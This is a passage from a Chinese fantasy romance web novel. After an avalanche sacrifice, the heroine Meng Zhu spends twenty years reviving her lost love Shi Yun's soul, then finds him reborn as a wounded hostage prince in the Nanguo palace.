孟竹把视线转向霍予,“所以,你们做了什么?” 霍予指了指自己的左眼,“千机城的那次,我拿到的那块残荒之石是天荒渡的核心,它拥有一部分预示未来的能力,你知道我这颗左眼看到了什么吗?” “它在警告我们,所有人都会死,不离开的话,全都会死在这里,被时空的乱流撕扯成碎片。” 霍予红了眼眶,那颗无神的眼珠淌下一滴血泪,他仿佛忍受着极大的痛苦,说话也变得断断续续的:“所幸……一切还来得及,我知道了时空裂缝的位置和我们所能准备离开的最后时限。” 孟竹张了张嘴,哑着嗓子问道:“为什么不告诉我?” 霍予捂着那只眼睛,血一滴滴顺着他的指缝往下淌,他苦笑一声:“且不说我当时并不知这一切的真假,也不知道该怎么做,就算当时告诉你,小竹,你会信我吗?” 他又问:“你会像吕一一样,什么都不问就愿意跟我走吗?” 霍予的神情凄苦,血和泪交错在那张苍白的脸上,“你看,我总算也能做成一件事,也能保护你一次。” 哪怕……这一切的代价是他一半的寿数。 可霍予看着孟竹那张麻木空洞的脸,喉口涌起一股腥甜,把那些剩下的话连着血一同咽了下去。 吕一蹙着眉,手中凝成一道术法,灵流不断涌进霍予的身体,让他抽搐的身体逐渐平静下来。 她看着孟竹,“在我们千辛万苦寻找残荒之石的时候,你毫不知情,你舒舒服服地享受着一切,被人保护着,甚至连我们的消息都传不进去。” “看来施允也是个难得的痴情种呢。” 孟竹闭了闭眼,袖中的匕首滑下来,她将那块镶嵌在匕首上的剑石用力扣下来,扔到了吕一的脚边。 “你要的东西,拿走吧。” 吕一将最后一块残荒之石捡起来,轻轻拍了拍,她看着孟竹转身欲走的样子,道:“你以为你还能去哪儿?” “时空裂缝关闭的那个瞬间,你就会立刻魂飞魄散,成为这个世间的养料。” 她走到孟竹前方,张开双臂挡在了孟竹面前,“总归是朋友一场,我不愿看你变成这样。” 孟竹笑了一下,“所以我说啊,吕一,你的正义感用错了地方。” “如果我是你,我管都不会管这破事,随便让我自生自灭就好了。” 吕一不说话,黑白分明的眼睛盯着孟竹。 孟竹和她对视半晌,低着头想了想,点了点头,道:“好吧。” 雷声越来越近,落在耳边,一声声惊响,像是警告一般。 当天荒渡完全成形的那一刻,天边的那道漩涡像是被生生撕裂一般,打开了一道裂口。 孟竹跟着他们走在人群的最后,霍予和吕一在她一左一右,看着一群人陆陆续续进到了裂缝中。 每进入一个人,裂缝就会变得更窄一些。 孟竹回头看了一眼,那道屏障依然稳稳地立在那里,高处的雪不断往下滑落。 孟竹的脚步顿住。 “走吧,没时间了。”霍予拉了拉孟竹的衣袖。 轰然一声巨响。 脚下的雪地开始剧烈的晃动。 “不对……不对……”孟竹往后退了几步。 霍予拽着她,全身都在抖,“走啊!!别管了!!” 孟竹颤着声音,不可置信地看着霍予:“你早就知道是不是,山脚下还有好多人,时空裂缝带来的冲击会引起剧烈的雪崩,这里的人都会死!” “你就当是一场梦,梦醒了就结束了!” 吕一站在裂缝口,只剩下他们三个人没进去了,她的脸色苍白,对着孟竹道:“管不了的,我们马上就要到家了,你别这么看着我。” “忘了吧。” “走啊!” “走啊!!!” 她伸出一只手要来拽孟竹,被孟竹躲开了,脚下的大地晃动得越来越剧烈,连站也站不稳了。 看吧,她都说了,所有的一切都要有代价。 孟竹闭了闭眼,掌心聚成一道灵力,用力把霍予和吕一推入了时空裂缝,她看见霍予挣扎着伸出一只手,又一瞬间被吞噬了。 她看着那道缝隙完全合上。 在时空裂缝消失的刹那。 轰—— 无边无际的雪原上,传来剧烈的轰鸣。 孟竹拔足狂奔,冷风刮在她的脸上,像刀子一样疼。 从高处陷落的雪浪像从天而降的洪水一样淹没了一切。 被埋在雪中的时候,孟竹的浑身都像被千刀万剐一样撕裂着,血不断地从她的嘴里、眼睛、鼻孔、甚至耳朵里流出来,连呼吸都变得困难极了。 她说不出任何话,连轻微的呼喊都发不出来。 她快死了吧…… 被压住的身躯渐渐变得僵硬,孟竹动了动被雪埋住的手指。 在剧痛中,有一道温暖的灵流从她的指尖涌入,像温暖的泉水一样流淌至她的四肢百骸。 乾坤戒,孟竹在模糊的意识中,感觉到那力量来自手上的那枚乾坤戒,她被一股无形的力量渐渐托举起来。 雪水融化在她脸上,无数细密的光华将她包裹成一个圈,在她周围,一条灵龙的身躯渐渐成形,它围绕着孟竹,她身上那些撕裂的伤口一寸寸开始愈合。 它在为她抵抗来自时空乱流的力量。 直到一声脆响,手上的那枚戒指应声断裂开,碎成了无数的粉末,连带着那条灵龙的身躯也一并消散了。 孟竹的身体从高处降落,重重砸在雪地上,她挣扎着从厚重的雪中爬出来,心慌得让她几乎站不稳。 “施允……” 孟竹跌跌撞撞地朝着山下跑去,那道屏障不知道什么时候已经消失了。 周围的一切都安静极了,什么声响都没有,寂静得像一片死地。 她跑得越来越快,越来越快,从山上跌倒,又滚落下来。 孟竹爬起来,雪水混着泥土浸透了她身上的衣袍,她已经感知不到温度了,浑身都是麻木的。 直到在山脚下,她看见了一个人。 他蹲下地上,捂着脸,肩膀无声地颤抖着,像是在哭。 他在为谁而哭? 这哭泣的声音让孟竹觉得焦躁。 韩韬的身后站着许许多多的修士,他们用灵力铸成了一道像要嵌入天际的高墙,绵延数千里,覆盖了整个北荒。 那如同要天崩地裂一般的灾难就这样被无声地解决了。 这场雪崩甚至没有影响到任何一个人。 原来早就有人预料到了一切。 孟竹看见太阳升起,看见不远处的屋舍上升起袅袅炊烟,听见孩子们欢腾的脚步声,闻见食物飘来的香气。 这是平平常常的一天。 朝阳起,风雪停,象征希望的太阳,那光芒照射在大地上,犹如万物初新,一派生机勃勃的景象。 孟竹张了张嘴,问:“施允呢?” 或许她不该问。 因为韩韬一瞬间抬起头来,他眼中含着一股鲜明的恨意,视线像道利箭直直射向孟竹。 “我早就说了,你是个祸害。” 孟竹的指尖掐入掌心,她脸上没有任何表情,又问了一遍:“我问你,施允呢?” 韩韬偏过脸笑了一下,他的泪落下来,站起来指着孟竹道:“你确实应该知道,好,我告诉你。” “他死了!魂飞魄散!” “没有法力高强的人来做阵眼的话,整个北荒绵延万里的雪山崩塌,你以为这是怎么解决的?” 韩韬忽然伸出手。 “啪!” 重重的一耳光扇在孟竹的脸上,孟竹的脸一瞬间肿了起来。 “我原本想杀了你,可是,你得好好活着啊。” “你就……好好活着,带着这条他给你的命,给我好好活着。” 孟竹的脚步趔趄了一下,然后抬手,一巴掌扇了回去。 韩韬侧过脸,从嘴里啐出一口血来,眼神阴冷地看着孟竹。 “他给我的命?”孟竹舔了舔嘴角的血,她笑起来,“这是什么道理?” “他凭什么给我命?” “他凭什么替我做选择?” “他以为这样自以为是地做决定是为了我好吗?” 所有人都在怪她。 所有人。 就像从前一样。 人们说她天生亲缘淡薄,是个克父克母的命,将来嫁了人也是个克夫的命,是个害人精。 凭什么? 凭什么?! “我偏不认。” 孟竹退了几步,嘴角甚至是在笑的。 “他想做圣人,我绝不受他这个恩。” 韩韬冷漠地看着她,“你连一滴眼泪都不会为他流,施允真是看错了人。” 他顿了顿,无不嘲讽地说道:“你这种冷心冷肺的人,根本不值得被爱。” 孟竹转身,一步步向着山上走去,看着雪地反射出刺目的白光。 “我不会为他流泪。” “因为,上天入地,黄泉地府,不管在哪里,我都会把他找出来。” “我要向他要一个答案。” 第57章 南国 南国有一位女仙师。 她法力高深,保佑着南国二十年来的风调雨顺,不受妖邪的侵害。 传闻二十年前,新帝刚刚即位,生了一种怪病,夜夜惊梦,寝食难安,于是广召天下的术士和医师为其诊治,奇人异士来了一位又一位,都没能治好皇帝的怪病。 直到这位女仙师来到了昭京城,一夜之间,新帝的怪病便好了起来,身体越来越康健,此外,经过女仙师的指引,南国找到了不少矿脉的位置,日渐国富民强。 因此,昭京城内专门设了一座仙师府,女仙师极受皇帝的青睐,不仅允许她自由出入宫廷,还许给她尊贵的身份和财富。 可女仙师并不是一直待在昭京,常常一走就是一年半载,她不喜欢皇帝赏赐给她的绫罗绸缎,也不喜欢金银玉器,她总是一身朴素的白袍,手腕间只用红绳系着一只银铃。 传闻女仙师只喜欢一样东西,貌美的人。 无论男女。 坊间曾一度有传闻说,女仙师是个妖道,专门抓貌美的少男少女用来修炼邪功。 可他们等了又等,那些美貌的少年们不仅没有死掉,还生活得很好,无病无灾不说,还会被教导一些护身的符术和体术。 是以,当有一次有人在仙师府门口喊着仙师大人请收留我吧的时候,孟竹满脸无奈地从后门骑着大毛跑路了。 这是她来到南国的第二十年。 当初孟竹离开北荒时,她其实并不知道要如何做才能让施允回来,但她记得施允同她之间定了魂契,也就是说,她的识海里还栖息着施允的一抹神魂。 这也是她当初为什么会觉得自己能重新把施允找回来的原因,可她找不到任何办法,眼睁睁地看着那抹神魂变得越来越脆弱,就快要消散不见。 在孟竹心灰意冷的时候,有个意想不到的人找到了她。 施允的母亲,曲夫人。 她从没想过会在这种情况下同施允的母亲见面,曲夫人脸上没有任何表情,仿佛已经遁入空门般的寂然。 孟竹并不知道这个女人经历了什么,才会有着这样的表情。 她递给了孟竹一样东西,往生花。 “少时,是我对不住他,总是强迫他做他不喜欢的事情。” “他尚有一缕神魂残存于世,也许,这个可以帮到你。” “若能重来一次,希望他能为自己而活。” 曲夫人走的时候,孟竹喊住了她:“你难道不亲眼看着他重新回来的样子吗?” 曲夫人摇了摇头,“不必告诉他我的事。” “我们之间的母子情分,只一世便尽了。” “我不是一个好的妻子,也没有做好一个母亲。” 她走后,孟竹捏着那朵往生花,沉默*了很久。 都说她六亲缘薄,她却不知道,施允又何尝不是呢? 孟竹将识海里的那抹神魂引到往生花中,可温养神魂需要大量至阴体质的鲜血来浇灌往生花。 当个坏人很简单,杀人也很简单,放纵心中的恶意,不过只是一念之间的选择。 自施允离开以后,她想了很多从前没想过的东西。 如果是施允,他当真希望自己是以这样的方式来复生的吗? 孟竹走过了许多的地方,她穿过熙熙攘攘的人群,越过高山和大海,她停在一处山峰之上,看见千万明媚的花树盛开,看见人间的万家灯火。 她重新走过那些施允带着她去过的地方,还有很多人记得她,他们笑着问她,施允去哪儿了? 孟竹和不同的陌生人聊天,讲着从前她从不开口同人说的那些话。 那些面目模糊的脸渐渐清晰起来,她终于看清楚了那些脸上的表情,原来当她用心去看的时候,总能看到许许多多的善意的眼神和温暖的笑容。 她想,原来这就是施允爱着的世间。 最后,她来到了丽山。 魅妖有一种独特的心法,能够识别各种人的体质,且魅妖本体就是极为纯粹的至阴体,当她向照水说明来意的时候,照水连停顿都没有,一口就答应了下来。 不仅要跟着她四处奔波,离开家乡,还要为她舍血。 孟竹曾问过照水为什么帮她,照水毫不在意道:“当时施允和你,不也是什么都没问就帮了我吗?” “施允在丽山设下的阵法,可保丽山上百年无虞,我自然应该帮他。” 当初种下的因,如今结下的果。 孟竹带着照水来到了南国,权势其实是个好东西,只要她获得了皇帝的信任,寻找大量至阴体质的人便非常快。 她只需要人多一点,每个人都能够舍出一点血来,便足以浇灌往生花。 这一次,她愿意慢一些。 孟竹用了两年的时间收集到了足够的至阴之血,她用术法将往生花送至天地间,让它自由地吸收天地灵气,便会长出一副天生地造的灵骨。 剩下的,便只需要等待。 不知何时,不知何地。 当初,当孟竹第一次向皇帝提出要人这个要求时,为了避免麻烦,隐瞒了体质这个原因,只是送过来的人让照水来筛选,有用的便留在仙师府养着,因为定期舍血的原因,孟竹会尽量让他们吃得好,穿得暖,赠予他们钱财,同时为了强健体魄,她还会定时教授他们体术。 但显然,皇帝陛下用了然的眼神看了孟竹一眼,会错了意。 此后送来的人一个比一个貌美,以至于坊间都默认了女仙师豢养面首这件事。 如今,这么多年过去了,虽然孟竹说了已经不再需要,但皇帝那两年养成的往她这送人的习惯好像还是没有改。 他好像认准了孟竹喜欢美人这个爱好,时不时就会问孟竹:“最近看上哪个了?” 孟竹说不必了,可他大手一挥,十分豪迈道:“何需同孤客气,不爱金银财宝就罢了,爱美乃是人之常情。” “再说了,你若不爱美人,你同孤要人做什么?” 孟竹喉咙里的话噎住,她没办法同他解释这种还魂禁术的存在,只能认下了这件事。 光阴荏苒,岁月如梭。 年轻的皇帝陛下从清贵的少年公子变成了稳重威严的男人,李延看着孟竹依然年轻的容貌,无不感慨道:“孤看着你,总感觉自己也还是从前那般年轻的模样。” 大概得道长生,千秋万代是每个帝王的心愿,得知自己没有灵根的时候,李延开始疯狂地迷恋起炼丹来。 孟竹有段时间没回来南国了,直到有一次,她时隔一年回到昭京,发现李延吃丹药吃得发青的嘴,忍不住朝天翻了个大大的白眼。 “你再这么吃,别说千秋万代了,马上就会因为中毒而死。” “什么!”李延从榻上起身,“那孤要怎么办?” “孤要杀了那些炼丹的假道士!” 孟竹用术法为他清了体内的余毒,叮嘱他不要再迷信这些东西,自古以来,就没有哪个皇帝吃丹药就能长生不老的。 那些日夜为皇帝炼丹的道士战战兢兢地跪成了一片,李延揉了揉发胀的太阳穴,最终还是将人全都遣散了。 他有些颓然地坐在龙椅上,那双日渐爬上皱纹的双眼望着孟竹,很久都没说话。 孟竹向来在王庭里待的时间不长,只是每次,李延一定会腾出时间来,让她留下陪他吃一顿饭。 他会和孟竹讲起最近的烦恼,治国安民的策略,但更多的时候,他只是讲着一些近来的变化和令他开心的事。 孟竹会静静地听着,她看着李延的脸,才发现,原来时间已经过去了这么久。 有时候,她甚至会觉得李延有几分熟悉的影子。 只是那双眼睛太过不同。 她又想起了那干净的,黑白分明的,微笑着的,像山间的清泉,像雪山上的第一缕朝阳,会让人想起这世间所有美好的双眸。 这一次,李延指着她腕间的银铃,道:“你一直戴着这个,上面的红线都有些褪色了,最近内廷新上贡的翡翠,孤给你留了一份,你拿去戴。” 孟竹摇了摇头,说不必了。 李延沉默了一瞬,问:“你从不摘下它,是因为这银铃是对你很重要的人留下的吗?” 这一次,孟竹很快地点了点头,道:“很重要。” “有多重要?” 孟竹笑了笑,没说话。 李延又问:“那他如今……” “陛下。”孟竹起身行礼,让李延的话戛然而止。 “我该走了。” 伺候在一旁的内侍悄悄看了眼李延的表情,如今在王廷敢这么打断陛下说话的,也只有这位来无影去无踪的仙师了。 可李延的脸上没有愤怒,只有一瞬间的怔忡,他很快笑了笑,道:“好。” 离开之前,李延看着孟竹的背影,忽然问道:“你知道我送给你那些人在日夜监视你,是吗?” 这个问题,孟竹没想到会有一天会由李延亲口说出来。 亲口打破目前这个平和的假象。 帝王之心深似海,那颗藏在温和笑脸下的,依然是一颗算计多疑的心。 没有例外。 孟竹的脚步停住,她转过身对李延道:“那陛下既然怀疑,为什么又要许我自由地来去呢?” “从他们口中,陛下得到你想知道的消息了吗?” “李延。”孟竹最后看了他一眼,“你真是一个矛盾的人。” 他们之间曾经没有君臣之礼,被这声名字叫醒的时候,李延才忽然意识到,孟竹已经很久没有叫过他的名字了。 他明明一开始的时候,真的只是单纯地想要知道孟竹每日做了什么,喜欢吃什么,有什么爱好,他像是听故事一样乐呵呵地听着那些琐碎的杂事。 李延想起孟竹曾经请画师画的那幅画,画上是一个人,重新画了很多次,孟竹才满意,他暗中让人把那幅画临摹下来,看了很久。 不知道从什么时候起,他开始想知道孟竹是否有不臣之心,是否会背叛他,是否……就此一去不回。 他送去的人越来越多,最开始孟竹是拒绝的,次数多了之后,她只用那双眼睛淡淡瞧着他,从那以后他送去的人都被好好地养在仙师府。 李延的心却越来越麻木。 就这样。 君不君,臣不臣,友不友。 孟竹离开了,她一路出了南国,提了两壶酒,回到了仙洲。 过了二十年,这片桐花林还是没有什么变化,她常常坐在树下喝酒,赏花,日子与往日并没有什么不同。 就像施允所说,这世间最不缺的就是掌权者,玉都由韩韬掌权后,仙洲依然平静,就像是什么都没有变过。 时间能抹平一切的痕迹,好像所有人都忘了那个曾经惊才绝艳的少年。 连他的名字,孟竹都再难以从其他人口中听到。 孟竹靠着树干,仰着头看天上的月亮。 手边的酒壶渐渐空了,纷纷扬扬的花飘落而下,就算闭上眼睛,她也能想起那日,一身红衣的少年支着腿坐在花树上,浅笑着向她抛来一支桐花的模样。 孟竹闭上眼,就这么在树下睡去。 半睡半醒间。 手腕上那枚二十年来从未有任何动静的银铃。 响了。 第58章 质子 这一次离开的时候,孟竹想着,她大概很久都不会再回南国了。 当那枚银玲响起的时候,孟竹阖着的双目瞬间睁开,眼睛一眨不眨地看着那枚银玲在她腕间颤动。 孟竹脸上的神情先是愣怔,不知所措,接着,又有些神经质似的笑了一下。 她的手撑着额头,双手一点点滑下来,用力地搓着脸,直到掌心湿热一片,才极慢地呼出一口气来。 这是一种孟竹设下的阵法,只要施允踏入这个阵中,银玲便会自动响起。 这些年来,大大小小的阵她设了无数个,踏遍人间的万里山河,也没能找到他的踪迹。 施允当时与她订下的魂契中,给她留下了少说一半以上的修为,在施允离开那日,孟竹的修为猛地提升至化神期时,她就意识到这一切是多么不对劲。 她甚至连雷劫都没渡。 直到到了这等修为以后,孟竹才体会到,原来做到很多事只要一念之间,呼风唤雨也不过动动手指罢了。 如果是全盛时期的施允,他完全可以撑过那场雪崩。 可他为什么在临走之前,又通过魂契渡了那样多的修为给她呢,甚至在她识海深处设了一道封印,叫孟竹根本没能察觉。 愤怒、不可置信、痛苦、崩溃、到最后的麻木。 孟竹终于在第十年的时候,明白了施允当时为什么这么做。 可惜她当时不懂。 孟竹很快确定了银玲指引的位置,让她感到意外的是,竟然就在南国。 她有些失笑地想着,这是不是传说中的,踏破铁鞋无觅处,得来全不费功夫? 而且孟竹来桐花林之前才想过,她应该不会再回南国了,她甚至还打算把照水带走,送回丽山。 这些年,照水一直跟着她,帮着她打理仙师府的那些眼线和府中的事物。 孟竹曾经在结束还魂的事情之后就想送照水离开的,照水却有些幽怨地看了她一眼,道:“姐姐莫不是觉得照水已经毫无利用之处了,才急着赶照水走?” 说句实话,有照水在,她才能肆无忌惮地满世间找那个曾经的人,才能毫无后顾之忧。 总有一个地方让疲惫的她落脚,无论何时,孟竹回来的时候,照水总会在门口留一盏灯。 看见那盏灯在黑夜里静静地亮着,照亮的不过是方寸的空间,却给了孟竹莫大的勇气,让她在一次次失望之余又能攒起力气重新出发。 原来她早就得到了很多,只是从前太年轻,太笨拙,太自以为是。 那时候,总觉得自己的伤疤大过天,看这个世界的所有人都是加害者,用外壳坚硬的刺去一次次扎伤别人,仿佛这样心里才痛快。 她缩在自己挖的坟墓里,把自己关在密不透风的小天地里,像个坐井观天的小丑。 听见照水这么说以后,孟竹叹口气,摸了摸照水的头,有些歉疚道:“照水,你已经为我做得够多了,你该有自己的生活,过自己的人生。” “阿姐。”照水说,“我陪你找。” 他的眼睛弯起来,对着孟竹笑了笑:“你知道吗,当时阿姐来丽山找我的时候,我高兴极了。” 这一声阿姐唤得孟竹心口发酸,她的心仿佛被某种不知名的情绪包裹着,越来越软。 从那以后,孟竹便再也没有提过让照水离开的事,他们之间像是真正的亲人一样,相互扶持着,走过二十年风雨。 孟竹回到了南国,这一趟归程,她走得比任何一次都要快。 她循着那道被踩过的法阵指引的位置来到了昭京城的大街上,官道上只有一道车轮滚过留下的痕迹,伴随着一路滴落的血。 夹道两旁的百姓看见孟竹,热情地招呼她:“仙师大人,你回来啦。” 孟竹的心下有些发沉,但面上还是笑着应了声,她指了指地上的那一道道痕迹,问:“你们知道这是怎么回事吗?” 小摊旁一个卖饼子大婶努了努嘴,道:“仙师是不是很久没回昭京了,听说那宁国打了败仗,不仅割了好几座城池给咱们,还送了个质子来昭京呢。” “质子?” 大婶儿嗑着瓜子,脸上全然是身为胜利者的,属于南国人的骄傲,“那可不?小小宁国,还敢跟咱们南国打?那质子送过来,不就是平息咱们怒气的泄气桶吗?” 旁边有人插了一嘴,“你还别说,那质子倒是有几分能耐,听说他只用五千兵马对阵七万大军,守了边城两个月,弹尽粮绝都不肯降,还挺有气性的。” 大婶儿翻了个白眼,“你还帮着敌人说话,他有个屁的气性,我家男人就在军营,我这都是一手消息,这质子不过是司徒氏的一个弃子,他们原来的主将是那老皇帝最疼爱的一个儿子,早就从后面弃城跑路了,为了平息民众的怒火,这才想起来有这么号人,推了个废子来给人挡灾的!” “他一个临时被拉上战场的弃子,本来就是有去无回的事情,他不拼命守着,回去了也难逃一死,还能怎么样?这也叫有气性?” 旁边人冷笑一声,“你个妇人懂什么?” 那人看着是个白面书生的模样,说起话来头头是道:“史书向来都是由胜利者书写的,那些输了战事的败将就成了你嘴里一文不值的人,你对着这些将领评头论足,让你上一次战场,你怕是要吓得屁滚尿流罢!” “嘿!你怎么说话的!我一个妇人家我上什么战场?亏你还是个读书人,你什么居心?三番两次帮着敌人说话,我看你就是宁国派来的奸细!” 妇人拉扯着书生,他的面庞上隐忍着不耐和轻鄙,重重甩开,不欲与妇人纠缠,转身离开。 宁国与南国毗邻,此前摩擦战事不断,要论起实力来,从前的宁国倒是要更胜一筹,只不过南国在发现了几个大型的矿场以后,李延在二十年里用雷霆般的手段推行新政,选贤任能,去沉疴,治贪腐,将这些资源都重用在兵马之上,南国也一日日变得更强,到后来,疆土面积越来越大,再不是当初那个积贫积弱任人欺凌的小国。 孟竹不关心战场上的事情,她从不参与南国的政事,因为她既不懂,也不感兴趣。 在李延第一次跟她说南国打了胜仗时,孟竹看着他脸上的笑容和南国百姓们热烈的欢呼时,是由衷地开心的。但她看着地面上那些血,又听到他们话语间对战场上轻描淡写的几句描述时,又觉得自己当初的干涉,破坏了一种微妙的平衡。 孟竹沿着那些痕迹一路进了宫,这个时间,李延应该在御书房。 这一次,李延并没有很快地见她,孟竹站在门外等了很久,才看见门开了,从里面走出来几个议事的臣子。 推门而入的时候,李延坐在龙椅上,头低着,正在看着手上的奏折。 看见孟竹,他的手慢慢放下来,“你来了。” 他抬了抬下巴,示意孟竹坐下。 “陛下。”孟竹直接挑明了来意,“能否让我见一个人?” 李延没说话,看着孟竹,忽然站起身,“饿了吗?到了用膳的时候了……陪孤——” “陛下。”孟竹直直看着他,不闪不避,没有理会他话中的意思。 她怎么敢的? 这样直视天子,这样无视圣威,这样毫不客气地同他提要求。 李延负手而立,淡淡望着孟竹,“孤是不是对你太好了?” “才让你这么肆无忌惮地同孤说话?” “你别忘了,孤是皇帝,是南国的王。” 孟竹抿了抿唇,忽然道:“我会很快离开南国,不会让你为难……” “放肆!” 李延一挥手,案上的折子被他甩下来,落了一地。 内侍立即战战兢兢地跪了一地,李延闭了闭眼,让人全部出去。 安静了半晌,书房内落针可闻。 还是李延先开了口,他看着孟竹,嘴角勾着一抹笑:“孤你知道你想见谁,那个质子?” 他点了点头,评价道:“看起来确实不错,你喜欢那样的?” 孟竹不喜欢他话里那种轻佻的语气,眼神冷下来。 她笑起来,淡淡道:“李延。” “我征求你的意见,是在尊重你,不是来求你。” “南国的宫门拦不住我。” 她的声音不重,落下来的时候却让人的心猛地一沉。 “你在威胁孤?”李延短促地笑了一声,“因为那个废物质子?” “不。”孟竹说,“我是在同你商量。” 孟竹掌心聚成一团灵力,举在身前,那光芒在她手心越来越盛,她脸上的笑容也越来越大。 “你也不想我把你心爱的王宫给毁了吧?” 李延看着她掌心的光芒,“孤一直在想,你的底线到底能忍到哪一步,原来是这样。” 他的脸上带着一种古怪的笑容,点了点头。 “孤知道了。” 李延道:“只是有一个要求,他是宁国的质子,又是败军之将,只能留在南国的境内,你可以把他带回仙师府,但孤绝不可能让他就这么离开。” “你也不想让事情变得麻烦起来吧?” 他已经退了一步,孟竹暂且按捺下来,“好,我答应你。” 出御书房的时候,天上下起了雨。 宫人递给了孟竹一把油纸伞,她撑着伞,穿过偌大的宫廷。 脚步越来越快,鞋底溅起水花,到最后,直接跑了起来。 这是一处废弃的院落,檐角结着蛛网,残叶顺着枯树稍零零散散地被落雨打下来。 干涸的池塘边上,坐着一个人。 木制的轮椅看起来不太稳,他倾斜着身子,正弯身拾起一片半枯的荷叶。 他的头发散下来,只露出一小半苍白的侧脸,雨水顺着下颌不断滴下来。 孟竹站在破落的庭院门口,看见他将一片荷叶顶在头上,另一片荷叶盖下来,落在他脚边蜷缩着的一个小小的,毛茸茸的身躯上。 死物。 她闻到了死物的味道。 孟竹走过去,将那把油纸伞撑在他的头顶。 雨水一滴滴落下来,打在伞面上。 她抿了抿唇,嗓音干涩。 “天冷雨凉,你在这里做什么?” 第59章 绝不做你的面首 孟竹站在他的身后,看见他的身子慢慢直起来。 他偏过头,打量着孟竹,长睫顶着雨水睁开,是一张湿透了的脸。 他动了动唇,用一种陌生的视线望着她。 “你是谁?” 来之前,孟竹已经在脑海中想过千万遍与施允再相见的画面,每一种,她都在脑海里像过剧本一样演绎了一遍。 她本想故作轻松地调节气氛,可她的视线落在他的腿上,鼻尖嗅着那潮湿又隐隐腐臭的味道,那些准备好的说辞又像团棉絮,堵在了她的喉咙里。 最后,孟竹只是指了指自己,对他笑了笑。 “我是孟竹。” 施允没什么反应地收回视线,看着地上那团已经僵硬的尸体,不言不语。 孟竹将那把伞递给他,他没伸手来接,只蹙着眉看着她,似乎并不高兴这里有一个陌生人的闯入。 “它已经死了。”孟竹说,“你想要埋了它吗?” 孟竹伸手,将那把伞塞进他的手心,指尖触到他冰凉的皮肤,冷得像冰。 她蹲下身,掀起那片半枯的荷叶,看见那团毛茸茸的尸体,是一只小猫儿,四肢已经僵硬了。 孟竹将它捧起来,看了看周围,走到一颗树下,用手挖开湿泥,捡了几片新鲜的荷叶将那小小的尸体包裹起来,一层一层埋了起来。 雨水顺着她的鼻尖往下落,孟竹用袖子擦了擦,才发现自己身上也已经湿透了。 做完这一切,她起身回头,看见轮椅上撑着伞的施允,他就这么静静看着她,漆黑的一双眼,无波无澜。 伞沿下的雨水像断了线的珠子,落入带着残叶的湿泥里。 孟竹记得他爱洁,便施了个清洁术,将手上的那些湿泥洗净了,才走过去。 她伸出一只手,雨水浇湿了她的面庞。 “跟我走吧。” 施允将那把伞递给她,眼睫轻轻地颤动了一下,“你在胡说什么?我能去哪里?” 孟竹看着他的模样,接过那把伞,随手扔在了地上。 然后,她俯身,将轮椅上的人直接拦腰抱了起来。 施允的眼睛一瞬间瞪大了,他盯着孟竹,“你!” “荒唐!你这是做什么!” 孟竹足尖轻点,腾空而起,她用力将怀里瘦得咯人的身体抱紧了,顶着连天的大雨将人掳回了仙师府。 回到仙师府的时候,两个人身上都湿透了,照水从门口路过,看见孟竹怀里的人,一瞬间僵立在雨中。 他跟在孟竹身后,声音因为惊讶而有些断断续续的:“阿姐……他……” 孟竹将人放在椅子上,对照水说:“回头再跟你解释,先准备点热水。” “好……” 施允的脸色苍白,手指紧紧攥着椅子的扶手,用力地指尖都泛白了,他看着孟竹,“你这个……” 孟竹忽然俯身,双手搭在他扶手的两侧,她脸上的雨水顺着尖尖的下巴落下来,滴在施允的衣襟上,让他不由自主地往后仰,拉开同孟竹的距离。 “骂我的话稍后再说。” 她的视线扫过施允身上那些被雨水泡烂的伤口,离得近了,孟竹材发现施允连肩胛骨上都有两道深可见骨的伤痕,雨水混着血水泡皱了,往外溢着脓血,腐烂的味道交织在一起,腥臭难闻。 孟竹的视线冷下来,她闭了闭眼,抽手离开。 “你现在需要的是洗干净,然后休息。” “等你养好精神了,我倒是有的是时间听你骂。” 她往外走,没注意到身后人骤然紧缩的瞳孔。 他用手盖住了肩上的那道伤口,鼻尖嗅着那些腥臭难闻的味道,脸上挂着一丝了然的冷笑。 厌弃吧。 所有人看到这幅残破凋零的身体,都只会厌弃。 没有人会例外。 施允静静地环视着这间屋子,干净明亮,屋子里燃着暖香,没有他惯常待着的那种阴冷潮湿的废弃冷院的味道。 好像他才是这里格格不入的人。 他身上又冷又湿,打着寒颤,雨水从他的衣袍上滴下来,落在地板上,湿了一大片。 他伸手,将身侧滴水的衣摆卷起来,一动不动了。 直到门被再次推开,一个陌生漂亮的男子吩咐人抬了浴桶进来。 这种长相不常见,极为惹眼。 施允看着那个男人,他似乎踌躇了一下,才朝着他走来,“施……” 男人似乎想起了什么,又对着他笑了笑,道:“我是照水。” “你身上湿透了,去洗一下吧,一会儿生了风寒就不好了。” 施允看了一眼,点了下头,道:“多谢。” 照水看了眼他的腿,眉轻蹙着:“你……要帮忙吗?” 施允摇了摇头。 等到照水走了以后,施允才慢慢撑着扶手想要站起来,可不受控制的双腿一瞬间软了下来,重重摔在地上。 他额上沁着冷汗,咬牙拖着沉重的身躯往前爬。 肩骨上的伤牵扯着,每动一下,都像是被撕裂一般疼。 他绝不能让人瞧见这狼狈屈辱的模样。 爬到浴桶边的时候,施允艰难地解了身上的衣服,浑身因为高热已经脱力,他靠着浴桶的边缘轻轻地喘息着。 直到那扇门被推开,灌入了一阵冷风,他脸上的汗滚落下来,身躯顿时僵住。 “别过来!” 怒从心起,却无能为力。 难道非要折辱他,亲眼瞧他这般模样,这些南国人心里才痛快吗? 脚步声很轻,停了一瞬,却依然在一步步靠近。 施允的视线一点点上移,又是她。 这个奇怪的女人。 她眼上覆了一条白绫,却又准确地走到了他的面前,她弯下腰将他抱了起来,放进了浴桶里。 然后什么都没说,走到了屏风后。 人却没走。 施允泡在了热水里,浑身伤口又疼又痒,心中屈辱难堪,又惊又怒。 他看着屏风后的那道身影,哑声问道:“你到底想做什么?” 屏风后的声音传来,她的声音比寻常女子更低沉些,说话的声调也要更缓慢些,不疾不徐的,好像有一种无形能抚平焦躁的力量。 “给你养伤啊,看不出来吗?” 施允轻嘲地扯了扯嘴角,“你们南国人能安什么好心思?” 他听见屏风后的人似乎笑了一下,“张口闭口就是南国人,我可没承认我是南国人啊,你大可不必这么仇视我。” 施允皱了皱眉,忽然想到了什么,道:“你是不是就是那个南国传闻中的女仙师?” 孟竹道:“诶?原来你知道我啊。” “除了你,我想不到还有什么人能这样大摇大摆地将人掳出宫还不被追究的。” “那如你所说,看来我这个仙师的名头还是有点用。” 施允沉默了好长一段时间。 孟竹没听到他的声音,忍不住偏了偏头,将脸靠近屏风一侧,“怎么不说话了?” 好半天,对面似乎从齿缝里挤出一句:“你好男色至此,养了一堆面首在府里不说,竟还有窥人沐浴的习惯?” 